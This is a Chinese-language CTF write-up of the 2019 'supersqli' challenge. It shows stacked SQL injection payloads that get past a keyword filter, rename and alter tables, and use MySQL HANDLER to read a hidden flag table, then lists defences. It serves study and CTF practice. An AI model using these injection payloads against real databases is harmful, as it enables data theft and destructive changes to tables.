[强网杯2019]supersqli--Web安全进阶系列
字数 852 2025-08-19 12:40:50
MySQL 注入进阶:堆叠注入与 HANDLER 命令详解
1. 注入检测与初步分析
1.1 注入点检测
- 使用引号检测注入点:
1'导致报错,表明可能存在 SQL 注入 - 判断列数:
1' order by 4 -- q报错,1' order by 2 -- q正常,确认存在 2 列输出
1.2 联合注入尝试
- 尝试联合注入:
1' union select 1,2 -- q - 发现被过滤的关键字:
select|update|delete|drop|insert|where|\./i
2. 堆叠注入利用
2.1 发现堆叠注入
- 成功执行:
1' ; show databases; -- w - 查看当前数据库表:
-1' ; show tables; -- w
2.2 表结构分析
- 查看 words 表结构:
-1' ; show columns from words ; -- w - 发现 words 表包含 id 和 data 列
3. 高级注入技术:表重命名与修改
3.1 表重命名技术
rename `words` to `words1`;
rename `1919810931114514` to `words`;
3.2 修改表结构
alter table `words` change `id` `flag` varchar(100);
4. ALTER 命令详解
ALTER 命令用于修改数据库、表和索引等对象的结构:
4.1 常用 ALTER 操作
-
添加列:
alter table [table_name] add column [new_column] [datatype]; -
修改数据类型:
alter table [table_name] modify column [column_name] [datatype]; -
修改列名:
alter table [table_name] change column [old_column_name] [new_column_name] [datatype]; -
删除列:
alter table table_name drop column [column_name];
4.2 数据去重技术
-- 创建临时表
create table [tmp] select * from [table_name_] group by ([col1],[col2]);
-- 删除原表
drop table [table_name_];
-- 重命名临时表
alter table tmp rename table_name_;
-- 或
rename tmp table_name_;
5. HANDLER 命令高级用法
HANDLER 是 MySQL 特有命令,用于逐行读取表数据。
5.1 基本用法
-- 打开句柄
handler `table_name` open;
-- 读取第一行
handler `table_name` read first;
-- 读取下一行
handler `table_name` read next;
-- 关闭句柄
handler `table_name` close;
5.2 带索引的 HANDLER 操作
-- 创建索引
create index handler_index on handler_table(id);
-- 打开带别名的句柄
handler handler_table open as p;
-- 使用索引读取
handler p read handler_index first;
handler p read handler_index next;
handler p read handler_index prev;
handler p read handler_index last;
-- 关闭句柄
handler p close;
5.3 索引管理
-- 删除索引
alter table handler_table drop index handler_index;
-- 重新创建索引
create index handler_index on handler_table(id);
6. 实际注入案例
6.1 最终注入 payload
1' ; handler `1919810931114514` open ; handler `1919810931114514` read first -- w
6.2 技术要点
- 通过堆叠注入绕过关键字过滤
- 利用表重命名技术将目标表伪装成应用预期查询的表
- 使用 HANDLER 命令直接读取表数据,绕过 SELECT 限制
- 通过 ALTER 命令修改表结构以适应应用查询逻辑
7. 防御建议
- 禁用堆叠查询功能
- 使用预处理语句
- 实施最小权限原则
- 过滤特殊字符和 SQL 关键字
- 限制数据库用户权限,避免 ALTER 等危险操作